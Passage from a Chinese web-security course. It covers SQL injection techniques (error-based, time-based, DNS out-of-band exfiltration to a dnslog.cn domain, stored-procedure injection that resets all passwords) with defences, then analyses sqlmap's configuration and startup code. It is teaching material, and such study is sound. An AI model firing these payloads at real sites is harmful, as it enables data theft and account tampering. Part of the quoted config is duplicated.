|
||||
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
|
||||
|
||||
|
||||
如果得到正确回应,就不需要继续向后判断了,因为这说明我们已经获取到了正确的username;如果是错误回应,说明我们很有可能遇到了null字符,那我们需要继续向后判断,直到该查询得到正确回应为止。
|
||||
|
||||
报错注入
|
||||
|
||||
顺着刚才的例子继续往下思考,如果应用系统不会因为查询是否返回数据而进行不同的反馈,布尔注入就会失效,这时候我们要怎么办呢?这种情况下,我们可以尝试报错注入。
|
||||
|
||||
为了提取出一些数据库内的信息,报错注入会故意执行一些导致数据库报错的行为,并将这些信息显示在报错页面上。报错注入的函数调用与错误触发方式,与具体的数据库管理系统以及版本相关,所以在注入之前我们需要确认数据库管理系统的相关信息。例如:
|
||||
|
||||
http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
|
||||
http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
|
||||
|
||||
|
||||
第一个payload会运行1/0,这会导致SQL产生报错。第二个payload不会运行1/0,导致SQL不会产生报错,我们可以分别尝试上述注入,通过应用是否会产生不同的响应,来做出判断。如果会产生响应,那么我们就可以使用报错注入来获取到一些我们想要的信息。
|
||||
|
||||
下面我们一起看一个例子。
|
||||
|
||||
SELECT * FROM products WHERE id_product=$id_product
|
||||
|
||||
# http://www.example.com/product.php?id_product=10' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
|
||||
|
||||
|
||||
在这个例子中,我们假设Users表中有Username以及Password两个字段,现在已知存在一个用户名为Administrator,现在想要猜测他的密码。
|
||||
|
||||
这时我们可以利用上述payload,判断密码首字母的ASCII码是否大于m的ASCII码。如果大于,那么就会运行1/0,这会引起除零错误,否则就不会引起错误。类似于布尔注入的方法,我们可以通过不断地尝试来获取到Password的值。
|
||||
|
||||
时间盲注
|
||||
|
||||
我们顺着报错注入的例子,继续深入思考。如果应用系统具备很好的错误处理逻辑,这样在响应请求时不会产生异常,报错注入就会失效。这种情况,我们可以尝试时间盲注(又称为时延注入)。
|
||||
|
||||
这种攻击方案的底层逻辑是,攻击者通过控制注入的参数,能够获得服务器的响应延时控制权。这种注入方式与数据管理系统相关,具体实施需要确认数据管理系统的信息。如下为一个时间盲注示例:
|
||||
|
||||
SELECT * FROM products WHERE id_product=$id_product
|
||||
|
||||
# http://www.example.com/product.php?id_product=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
|
||||
|
||||
|
||||
在这个例子中,攻击者先检查MySQL的版本是否为5,如果判断为真,则让服务器延时十秒返回结果。
|
||||
|
||||
DNS带外注入
|
||||
|
||||
在盲注的情况下,假设应用程序是异步执行的,也就是说,应用程序需要在原始线程处理用户的请求,并同时在另一个线程使用跟踪cookie执行SQL查询,这样我们刚才提到的注入方法都会失效。这时如果我们想要成功进行注入,可以尝试使用DNS带外注入。
|
||||
|
||||
在了解DNS带外注入前,我们需要一点点前置知识,就是泛域名解析。那么什么是泛域名解析呢,其实很简单,就是*.的所有域名解析到同一IP,举个例子,talentsec.cn指向了一个IP,在使用了泛域名解析技术的情况下,test.talentsec.cn也会指向同一个IP地址。
|
||||
|
||||
DNS带外注入,是使用不同通道检索数据的技术(例如,建立 HTTP 连接将结果发送到 Web 服务器等)。这个方法使用DBMS的功能,执行带外连接,并将注入查询的结果作为请求的一部分传递给攻击者。和报错注入类似,每个数据库管理系统有自己独有的功能函数,我们需要确认数据库管理系统的信息。下面就是一个DNS带外注入的示例:
|
||||
|
||||
SELECT * FROM products WHERE id_product=$id_product
|
||||
|
||||
#http://www.example.com/product.php?id_product=10 and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),".afl3zg.dnslog.cn\\aa.txt")) --+
|
||||
|
||||
|
||||
该payload使用了loadfile函数,该函数在这里可以通过UNC路径读取远程机器上的文件。它的参数是用concat函数拼接起来的UNC路径,由于\代表了转义的意思,所以实际拼接为\\{query_result}.af13zg.dnslog.cn\aa.txt,其中{query_result}为查询的结果,根据泛域名解析原理,该请求会被afl3zg.dnslog.cn记录下来。afl3zg.dnslog.cn是在DNSLog Platform上面生成的一个域名,我们可以借助它来观察到外带的结果。域名生成之后,点击刷新记录,就可以显示出它接收到的访问信息,其中就包括了我们的查询结果。
|
||||
|
||||
存储过程注入
|
||||
|
||||
在存储过程中,如果应用系统使用和用户交互式的SQL输入,程序就必须考虑注入风险。开发人员需要严格判断用户输入的合法性,以消除代码注入的风险。如果风险不清理,存储过程就可能会被用户输入的恶意代码污染。
|
||||
|
||||
下面这段代码,是存储过程注入示例:
|
||||
|
||||
Create
|
||||
procedure get_report @columnamelist varchar(7900)
|
||||
As
|
||||
Declare @sqlstring varchar(8000)
|
||||
Set @sqlstring = 'Select * ' + @columnamelist + ' from ReportTable'
|
||||
exec(@sqlstring)
|
||||
Go
|
||||
|
||||
|
||||
如果用户输入:
|
||||
|
||||
from users; update users set password = ‘password’; select *
|
||||
|
||||
|
||||
上述代码会把用户的输入赋值给@sqlstring,在之后的存储过程中执行,导致所有用户的密码更改为password。
|
||||
|
||||
如何防御
|
||||
|
||||
虽然SQL注入攻击方式多变,但是在防御角度确有一种“以不变应万变”的防御方案。
|
||||
|
||||
使用参数化查询(预编译)代替字符串连接查询,可以避免绝大多数的SQL注入类安全风险。这种方法的实现原理其实很简单,采用参数化查询的SQL语句会预先编译好,SQL引擎会预先进行语法分析、产生语法树以及生成执行计划,经过这些预处理,后面无论输入什么,都只会被当作字符串字面值参数,并不会影响SQL的语法结构,因此是一种优秀的SQL注入防御方案。
|
||||
|
||||
比如以下代码,采用了字符串拼接查询,因此很容易受到SQL注入攻击:
|
||||
|
||||
String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName");
|
||||
try {
|
||||
Statement statement = connection.createStatement( ... );
|
||||
ResultSet results = statement.executeQuery( query );
|
||||
}
|
||||
|
||||
|
||||
通过如下参数化查询的优化方案,该代码就可以有效避免用户输入干扰查询结构:
|
||||
|
||||
String custname = request.getParameter("customerName");
|
||||
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
|
||||
PreparedStatement pstmt = connection.prepareStatement( query );
|
||||
pstmt.setString(1, custname);
|
||||
ResultSet results = pstmt.executeQuery();
|
||||
|
||||
|
||||
存储过程中也存在SQL注入的安全问题,我们可以在存储过程中,用标准存储过程编程构造。它的效果类似于参数化查询,它要求开发人员只构建带有自动参数化参数的SQL语句。存储过程的SQL代码是在数据库本身定义和存储的,然后在应用程序中调用。
|
||||
|
||||
// This should REALLY be validated
|
||||
String custname = request.getParameter("customerName");
|
||||
try {
|
||||
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
|
||||
cs.setString(1, custname);
|
||||
ResultSet results = cs.executeQuery();
|
||||
// … result set handling
|
||||
} catch (SQLException se) {
|
||||
// … logging and error handling
|
||||
}
|
||||
|
||||
|
||||
参数化查询虽然是一个非常优秀的SQL注入防御方案,但也并非是一个万全之策。当不信任的输入作为数值出现在查询语句中,这时比较适合用参数化查询来处理,比如WHERE语句以及INSERT或者UPDATE语句中出现的值。但是,当不信任的输入出现在查询语句其他位置,这种方法就不再适用了,例如表名、字段名或者ORDER BY语句中。
|
||||
|
||||
想要把不受信任的数据放入这些位置,需要采用不同的方法来避免注入攻击。例如,将允许的输入值列入白名单中,或者使用更安全的逻辑来实现我们的需求。使用白名单列表的输入验证,也是一个可行且优雅的防御方案。
|
||||
|
||||
如果在SQL查询中使用了绑定变量,比如表或列的名称,以及排序、顺序指示符(ASC或DESC),此时输入验证是最合适的防御方案。需要注意的是,通常表或列的名称,应该来自代码而不是用户,但是如果用户参数值被用于指明不同的表名和列名,那么参数值应该映射到合法或是预期的表名或列名,以确保用户的输入在经过验证之后才会出现在查询中。下面是一个数据表名验证的示例。
|
||||
|
||||
String tableName;
|
||||
switch(PARAM):
|
||||
case "Value1": tableName = "fooTable";
|
||||
break;
|
||||
case "Value2": tableName = "barTable";
|
||||
break;
|
||||
// ...
|
||||
default : throw new InputValidationException("unexpected value provided for table name");
|
||||
|
||||
|
||||
示例中的tableName可以直接加到SQL查询中,因为它现在是这个查询中表名的合法预期值之一。
|
||||
|
||||
当上述方法都不可行时,我们还可以将用户输入放入查询之前对其进行转义。但是此技术只应作为最后的手段使用,一般只建议在实现输入验证不符合成本效益时考虑使用。因为与其他防御相比,这种方法很脆弱,我们并不能保证它会在所有情况下成功阻止SQL 注入。
|
||||
|
||||
转义技术是这样工作的,每个DBMS都支持一种或多种,针对特定查询类型的字符转义方案,如果从正在使用的数据库的转义方案出发,转义所有用户提供的输入,那么DBMS就不会将该输入与开发人员编写的SQL代码混淆,从而避免SQL注入漏洞的发生。下面我们来看一个转义的例子。
|
||||
|
||||
#ESAPI数据库编解码器非常简单,对于Oracle的使用示例为:
|
||||
#ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
|
||||
|
||||
#下面是一个Oracle的动态查询代码
|
||||
String query = "SELECT user_id FROM user_data WHERE user_name = '"
|
||||
+ req.getParameter("userID")
|
||||
+ "' and user_password = '" + req.getParameter("pwd") +"'";
|
||||
try {
|
||||
Statement statement = connection.createStatement( … );
|
||||
ResultSet results = statement.executeQuery( query );
|
||||
}
|
||||
|
||||
#使用转义会使得这段代码可以抵御SQL注入
|
||||
Codec ORACLE_CODEC = new OracleCodec();
|
||||
String query = "SELECT user_id FROM user_data WHERE user_name = '"
|
||||
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("userID"))
|
||||
+ "' and user_password = '"
|
||||
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter("pwd")) +"'";
|
||||
|
||||
|
||||
总结
|
||||
|
||||
这节课我们重点学习了SQL注入的利用方式和技巧。
|
||||
|
||||
首先是联合注入(UNION),这是一种非常强大并且易于使用的注入技巧,通过使用ORDER BY以及null技巧,强大的联合查询能够直接帮助攻击者获得大量数据;接下来是盲注(BOOLEAN注入),当应用系统存在SQL注入漏洞,但却没有直接数据回显时,盲注成为联合注入的接力棒,盲注又分为多种类型,虽然应用系统不能够直接回显数据查询结果,但如果查询结果能够影响响应页面,我们就可以通过盲注来猜测数据内容。
|
||||
|
||||
更进一步地,如果查询结果完全不能影响响应页面,这时又会出现三种新的可选攻击技巧。其中报错注入适用于没有标准化处理SQL查询错误的应用系统;而时间盲注则适用于上述所有限制条件全部存在的情况,因此时间盲注具备很强的适应性,虽然好处十分明显,缺陷也是十分明显,时间盲注需要大量的时间消耗才能完成完整攻击过程;DNS带外注入则是时间盲注的优化版,它不需要大量的时间消耗,通过SQL命令执行和网络信息传递,就可以将数据直接携带到外部监听端,达到快速获取受限环境数据的效果。
|
||||
|
||||
最后一部分是存储过程注入,上述SQL注入影响的都是应用系统层,而存储过程注入则直接影响数据库层,由于存储过程引入了字符串拼接,导致SQL注入问题被引入,其漏洞原理和利用方式都与常规的应用系统层SQL注入相似。
|
||||
|
||||
学习了SQL注入攻击技巧,再看如何进行防御。
|
||||
|
||||
最主流也是最好用的方案是参数化查询,又称预编译。通过预先的语法分析、产生语法树以及生成执行计划,未来所有参数输入都将被作为参数引入,无法修改SQL语句结构,因此能够极大程度地防御SQL注入攻击。但是这样优秀的解决方案,也有其不足之处,它只适用于将用户输入代入参数值的情况,如果希望将用户参数代入表名、字段名等情况,就需要使用其他方案。
|
||||
|
||||
对于上述需求场景,白名单列表是一个很好且很安全的方案,但是局限性也较大。如果白名单也无法满足你的个性化需求,那么就使用转义方案吧,但是值得注意的是转义方案与其他方案相比具有很大脆弱性,并不能保证在所有情况下都抵御SQL注入攻击。
|
||||
|
||||
回顾一下,这节课,我们一共学习了六种常见的SQL注入方式,并分别列举了典型的注入示例帮助大家加深理解。然后站在安全防御者视角,我们如何对不同类型注入点进行严格限制,分别介绍了将用户直接输入的查询改为参数化的查询的预编译方案、方便灵活使用的白名单方案以及最大满足个性化需求的转义方案。
|
||||
|
||||
通过学习本节课程,相信你已经掌握了SQL注入的多种攻击技巧以及防御技巧,希望能够帮助你在构建应用系统过程中更好地防御SQL注入攻击。
|
||||
|
||||
思考
|
||||
|
||||
课程最后,给你留一个作业,你可以尝试使用本节课程讲述的SQL攻击方式完成MiTuan的【专项 · SQL注入】训练吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
686
专栏/Web漏洞挖掘实战/14自动化注入神器(一):sqlmap的设计思路解析.md
Normal file
686
专栏/Web漏洞挖掘实战/14自动化注入神器(一):sqlmap的设计思路解析.md
Normal file
@ -0,0 +1,686 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
14 自动化注入神器(一):sqlmap的设计思路解析
|
||||
你好,我是王昊天。
|
||||
|
||||
从古至今,人们为了方便自己的生活,发明出各种各样的工具。就拿扫地来说,这是我小时候最讨厌的家务活动,因为扫地时扬起的灰尘会让我十分难受,而且有的死角很难被打扫干净。扫地机器人的出现给我们带来了极大的便利,我们只要拥有它,就不需要再亲自扫地了。
|
||||
|
||||
在前几节课中,我们学习了SQL注入的原理和方法,相信你已经小试牛刀了。不知道你在做注入测试的时候是否会觉得困难呢?反正我学的时候是遇到了不少困难,比如,绕过技巧多种多样,我们几乎不可能全部记住它们,就算记住了我们一一去尝试也需要很多的时间,费时又伤神。
|
||||
|
||||
就像我们刚才说过的,当问题出现时,我们常常会创造出一种工具,来解决对应的问题。那么有没有一款工具,能帮我们自动去进行注入测试呢?答案是肯定的,这个工具就是sqlmap。
|
||||
|
||||
这节课呢,我们正式开启sqlmap学习之旅,深入探究这款自动化注入神器的实现原理。首先我们要对一些知识有所了解,包括如何获取软件的代码,如何搭建软件的运行环境,以及软件文件功能等。接下来,我们会对sqlmap的工作流程做一个整体的介绍,这会为我们后续学习sqlmap打好基础。
|
||||
|
||||
sqlmap
|
||||
|
||||
|
||||
|
||||
我们先来看看到底什么是sqlmap。
|
||||
|
||||
sqlmap是一个帮助我们自动检测sql注入是否存在的测试工具,它会使用不同注入方法进行测试,并将测试结果展示给我们,供我们利用。这些方法都是我们之前学过的内容,包括联合注入、时延注入、布尔盲注、报错注入和堆查询注入。如果你感兴趣,可以去上节课寻找更加详细的介绍。
|
||||
|
||||
因为它的持续更新和维护,所以大家普遍认为它既方便又好用,从图片中我们可以看到超过4k的fork数量,以及高频的源码更新。就像一枚硬币的两面,这种优势也会伴随一些问题,比如给我们阅读源代码增加了难度,而我们要想真正去理解、掌握这款工具,就必须要迎难而上,对它的源代码进行剖析。
|
||||
|
||||
|
||||
|
||||
代码获取
|
||||
|
||||
我们用如下命令将sqlmap的源代码克隆下来。
|
||||
|
||||
git clone https://github.com/sqlmapproject/sqlmap
|
||||
cd sqlmap
|
||||
|
||||
|
||||
因为该过程需要访问外网,所以克隆的速度会较为缓慢,当然我们可以借助一些代理工具来加速这个过程。
|
||||
|
||||
这里我们分析的sqlmap版本是最新的版本1.6,它于2022年初发布,相比于上一代1.5.12版本,只是修复了几个编码异常,并且替换版本信息,并没有什么重大的改动。因此学习两个大版本的代码都是可以的。
|
||||
|
||||
|
||||
|
||||
在获取到源代码之后,我们还需要配置软件的运行环境,这样sqlmap才能顺利的运行。下面让我们进入到环境搭建这一步骤。
|
||||
|
||||
环境搭建
|
||||
|
||||
这节课,我们采用的分析环境是python3.10.1,可以利用下面的命令新建一个虚拟的解释环境,这样做有利于运行环境的隔离,防止其他环境因素干扰sqlmap的执行过程。
|
||||
|
||||
python3 -m venv venv
|
||||
|
||||
|
||||
配置文件
|
||||
|
||||
在做完环境搭建之后,sqlmap已经具有运行能力了。但是我们还需要知道哪个文件才是它的配置文件,即哪个文件会对它的运行产生影响。所以呢,接下来我们就来看看,sqlmap中有哪些重要的文件,它们又有哪些功能。
|
||||
|
||||
首先我们一起看下sqlmap的配置文件sqlmap.conf:
|
||||
|
||||
# At least one of these options has to be specified to set the source to
|
||||
# get target URLs from.
|
||||
[Target]
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
url =
|
||||
|
||||
# Direct connection to the database.
|
||||
# Examples:
|
||||
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
|
||||
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
|
||||
direct =
|
||||
|
||||
# Parse targets from Burp or WebScarab logs
|
||||
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
|
||||
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
# 'conversations/' folder path
|
||||
logFile =
|
||||
|
||||
# Scan multiple targets enlisted in a given textual file
|
||||
bulkFile =
|
||||
|
||||
# Load HTTP request from a file
|
||||
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
|
||||
requestFile =
|
||||
|
||||
# At least one of these options has to be specified to set the source to
|
||||
# get target URLs from.
|
||||
[Target]
|
||||
|
||||
# Target URL.
|
||||
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
|
||||
url =
|
||||
|
||||
# Direct connection to the database.
|
||||
# Examples:
|
||||
# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
|
||||
# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID
|
||||
direct =
|
||||
|
||||
# Parse targets from Burp or WebScarab logs
|
||||
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
|
||||
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
|
||||
# 'conversations/' folder path
|
||||
logFile =
|
||||
|
||||
# Scan multiple targets enlisted in a given textual file
|
||||
bulkFile =
|
||||
|
||||
# Load HTTP request from a file
|
||||
# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme
|
||||
requestFile =
|
||||
......
|
||||
# Force back-end DBMS operating system to provided value. If this option is
|
||||
|
||||
# set, the back-end DBMS identification process will be minimized as
|
||||
|
||||
# needed.
|
||||
|
||||
# If not set, sqlmap will detect back-end DBMS operating system
|
||||
|
||||
# automatically by default.
|
||||
|
||||
# Valid: linux, windows
|
||||
|
||||
os =
|
||||
......
|
||||
|
||||
|
||||
由于配置文件很长,所以这里没有全部展示出来。我们需要知道的是,配置文件的参数配置可以对sqlmap程序运行的流程产生影响。举个例子,在配置文件中可以设置OS配置项,sqlmap就无需探测操作系统的类型了,这样就可以帮助我们在一些特定情况下优化sqlmap的执行速度。
|
||||
|
||||
看完配置文件之后,我们回忆一下之前学过的内容,在做SQL注入时,都需要经历哪些步骤呢?
|
||||
|
||||
我们知道,一般来说SQL注入攻击可以分为三步,首先是寻找注入点,之后要选择闭合参数的位置,最后要根据需求选择合适的payload,来实现我们的注入攻击操作。
|
||||
|
||||
sqlmap和手动SQL注入的思想是相似的,程序可以直接从请求的参数中获取到注入点位置的信息,而闭合参数的位置和payload的选择则会因为它们的多样性变得略微复杂,下面就让我们一起来看看与之相关的两个配置文件。
|
||||
|
||||
我们先来看sqlmap中闭合参数的配置内容,这里举个例子帮助你来理解什么是闭合参数。以一个典型的SQL注入语句为例:
|
||||
|
||||
SELECT id FROM users WHERE name = '$name';
|
||||
|
||||
|
||||
想要对其进行注入,就需要将name参数闭合,这在前两节课中有过较深入的探讨。
|
||||
|
||||
对于sqlmap而言,data.xml.boundaries.xml就是用于闭合参数的配置文件,通过该文件我们可以确定闭合元素的字符和位置等等信息,了解该文件有助于我们理解sqlmap真正发送的测试payload的格式,关于payload格式这部分的内容我们会在下一讲具体的讲解。
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<!--
|
||||
Tag: <boundary>
|
||||
How to prepend and append to the test ' <payload><comment> ' string.
|
||||
|
||||
Sub-tag: <level>
|
||||
From which level check for this test.
|
||||
|
||||
Valid values:
|
||||
1: Always (<100 requests)
|
||||
2: Try a bit harder (100-200 requests)
|
||||
3: Good number of requests (200-500 requests)
|
||||
4: Extensive test (500-1000 requests)
|
||||
5: You have plenty of time (>1000 requests)
|
||||
|
||||
Sub-tag: <clause>
|
||||
In which clause the payload can work.
|
||||
|
||||
NOTE: for instance, there are some payload that do not have to be
|
||||
tested as soon as it has been identified whether or not the
|
||||
injection is within a WHERE clause condition.
|
||||
......
|
||||
|
||||
|
||||
而关于payload这一部分,就让我们看一看sqlmap中payload的配置文件夹,data.xml.payloads/。这个文件夹储存有不同注入攻击类型的payload信息。
|
||||
|
||||
该文件夹下的每一个文件都与程序中一个重要的结构test息息相关,它是一个payload的基本信息单元,每个test里面包含了一个完整的payload需要的信息, sqlmap发送的攻击载荷就是在此基础上进行加工得出的,如下代码就是这个文件夹下的boolean_blind.xml文件的部分内容,这里我们选取了完整的test结构方便你了解。
|
||||
|
||||
<test>
|
||||
|
||||
<title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
|
||||
|
||||
<stype>1</stype>
|
||||
|
||||
<level>3</level>
|
||||
|
||||
<risk>1</risk>
|
||||
|
||||
<clause>1</clause>
|
||||
|
||||
<where>1</where>
|
||||
|
||||
<vector>AND [INFERENCE]</vector>
|
||||
|
||||
<request>
|
||||
|
||||
<payload>AND [RANDNUM]=[RANDNUM]</payload>
|
||||
|
||||
<comment>#</comment>
|
||||
|
||||
</request>
|
||||
|
||||
<respons e>
|
||||
|
||||
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
|
||||
|
||||
</response>
|
||||
|
||||
<details>
|
||||
|
||||
<dbms>MySQL</dbms>
|
||||
|
||||
</details>
|
||||
|
||||
</test>
|
||||
|
||||
|
||||
可以看到它的结构内部定义攻击类型、方式、生效位置、关联数据库等等信息。-
|
||||
至此,我们大致了解了sqlmap工作的底层依赖。下一步只需要分析和掌握sqlmap的运行过程,日后在使用中我们就可以更加得心应手。
|
||||
|
||||
sqlmap作为一个规模较大的工具,在启动过程中首先会执行一些初始化操作,下面就让我们一起学习sqlmap的初始化过程,通过这部分内容你可以明白sqlmap在启动之初做了哪些事情。
|
||||
|
||||
初始化过程
|
||||
|
||||
sqlmap的初始化过程包含四个步骤:环境初始化、命令行参数的解析、全局变量的赋值,以及运行环境的检查。我们将结合代码和图片注释,顺着sqlmap代码运行的顺序,详细讲述每一个步骤。下面让我们从环境初始化开始吧。
|
||||
|
||||
环境初始化
|
||||
|
||||
首先我们会发现,sqlmap的入口文件是sqlmap.py,这个文件的main如下所示:
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
except SystemExit:
|
||||
raise
|
||||
except:
|
||||
traceback.print_exc()
|
||||
finally:
|
||||
if threading.active_count() > 1:
|
||||
os._exit(getattr(os, "_exitcode", 0))
|
||||
else:
|
||||
sys.exit(getattr(os, "_exitcode", 0))
|
||||
else:
|
||||
__import__("lib.controller.controller")
|
||||
|
||||
|
||||
根据main函数的名字,我们可以知道,程序的核心逻辑一定被封装在了mian函数里面。因此,我们可以进入到mian函数里查看。
|
||||
|
||||
def main():
|
||||
try:
|
||||
dirtyPatches()
|
||||
resolveCrossReferences()
|
||||
checkEnvironment()
|
||||
setPaths(modulePath())
|
||||
banner()
|
||||
args = cmdLineParser()
|
||||
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
|
||||
initOptions(cmdLineOptions)
|
||||
if checkPipedInput():
|
||||
conf.batch = True
|
||||
if conf.get("api"):
|
||||
from lib.utils.api import StdDbOut
|
||||
from lib.utils.api import setRestAPILog
|
||||
sys.stdout = StdDbOut(conf.taskid, messagetype="stdout")
|
||||
sys.stderr = StdDbOut(conf.taskid, messagetype="stderr")
|
||||
setRestAPILog()
|
||||
conf.showTime = True
|
||||
dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
|
||||
dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
|
||||
init()
|
||||
|
||||
|
||||
进入到mian函数之后我们就会发现,环境初始化初始化过程的代码就在这里,该过程引入了两个重要数据容器的映射conf和kb。他们都是全局的环境变量,是存储程序运行中间数据和信息数据的容器,其中sqlmap的结果信息、注入信息、控制信息都是通过它们进行读写来完成程序的执行的。这部分内容我们会在下节课展开。
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
|
||||
|
||||
在这里,为了你更好地理解它们,我们先来看看这两个数据结构是什么,这里我们可以找到lib.core.data.py文件进行观察。
|
||||
|
||||
# object to share within function and classes command
|
||||
|
||||
# line options and settings
|
||||
|
||||
conf = AttribDict()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# object to share within function and classes results
|
||||
|
||||
kb = AttribDict()
|
||||
|
||||
|
||||
可以发现,这两个数据结构是作者自己封装的函数,封装的主要目的是实现深拷贝(__deepcopy__ )这个魔法函数。通过这种方式,Python内容数据的拷贝操作会被大大优化。
|
||||
|
||||
class AttribDict(dict):
|
||||
......
|
||||
def __deepcopy__(self, memo):
|
||||
|
||||
retVal = self.__class__()
|
||||
|
||||
memo[id(self)] = retVal
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
for attr in dir(self):
|
||||
|
||||
if not attr.startswith('_'):
|
||||
|
||||
value = getattr(self, attr)
|
||||
|
||||
if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
|
||||
|
||||
setattr(retVal, attr, copy.deepcopy(value, memo))
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
for key, value in self.items():
|
||||
|
||||
retVal.__setitem__(key, copy.deepcopy(value, memo))
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
接下来我们继续观察main函数。
|
||||
|
||||
dirtyPatches() # 补丁函数
|
||||
resolveCrossReferences() # 消除交叉引用
|
||||
checkEnvironment() # 检查环境
|
||||
setPaths(modulePath()) # 如果使用py2exe 作为file获取程序路径的替代 设置绝对路径
|
||||
banner()
|
||||
|
||||
|
||||
我们可以看到,程序在进入到try语句之后,首先会执行几个函数。
|
||||
|
||||
第一个函数是dirtyPatches() ,它是一个补丁函数。
|
||||
|
||||
def dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
"""
|
||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
|
||||
if six.PY3:
|
||||
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||
def _send_output(self, *args, **kwargs):
|
||||
if conf.get("chunked") and "encode_chunked" in kwargs:
|
||||
kwargs["encode_chunked"] = False
|
||||
self.__send_output(*args, **kwargs)
|
||||
_http_client.HTTPConnection._send_output = _send_output
|
||||
# add support for inet_pton() on Windows OS
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton
|
||||
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
|
||||
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
|
||||
# Reference: http://bugs.python.org/issue17849
|
||||
if hasattr(_http_client, "LineAndFileWrapper"):
|
||||
def _(self, *args):
|
||||
return self._readline()
|
||||
_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline
|
||||
_http_client.LineAndFileWrapper.readline = _
|
||||
# to prevent too much "guessing" in case of binary data retrieval
|
||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||
match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
|
||||
if match and match.group(1).upper() != PLACE.POST:
|
||||
PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1))
|
||||
# https://github.com/sqlmapproject/sqlmap/issues/4314
|
||||
try:
|
||||
os.urandom(1)
|
||||
except NotImplementedError:
|
||||
if six.PY3:
|
||||
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
|
||||
else:
|
||||
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
|
||||
|
||||
|
||||
之所称它为补丁函数呢,是因为这个函数功能,主要用来处理sqlmap的一些历史信息。例如支持Python2升级Python3、支持Windows平台的inet_pton()函数、限制httplib的最大行长度等等。这些操作对sqlmap的实际功能影响并不是特别大,属于保证用户体验和系统设置的正常选项,我们不需要过多关心。
|
||||
|
||||
接下来是resolveCrossReferences函数,它的作用是消除交叉引用。我们通过下面这个示例理解下什么是交叉引用。
|
||||
|
||||
```python
|
||||
a.py
|
||||
from b import b_var
|
||||
a_var = 1
|
||||
b.py
|
||||
from a import a_var
|
||||
b_var = 2
|
||||
|
||||
|
||||
这就是一个交叉引用的示例,文件`a.py`和`b.py`互相引用导致了运行的python解释器报错。为了避免交叉引用引起这样的问题,这里我们选择通过`resolveCrossReferences()`函数来消除交叉引用。
|
||||
```python
|
||||
def resolveCrossReferences():
|
||||
“””
|
||||
Place for cross-reference resolution
|
||||
“””
|
||||
lib.core.threads.isDigit = isDigit
|
||||
lib.core.threads.readInput = readInput
|
||||
lib.core.common.getPageTemplate = getPageTemplate
|
||||
lib.core.convert.filterNone = filterNone
|
||||
lib.core.convert.isListLike = isListLike
|
||||
lib.core.convert.shellExec = shellExec
|
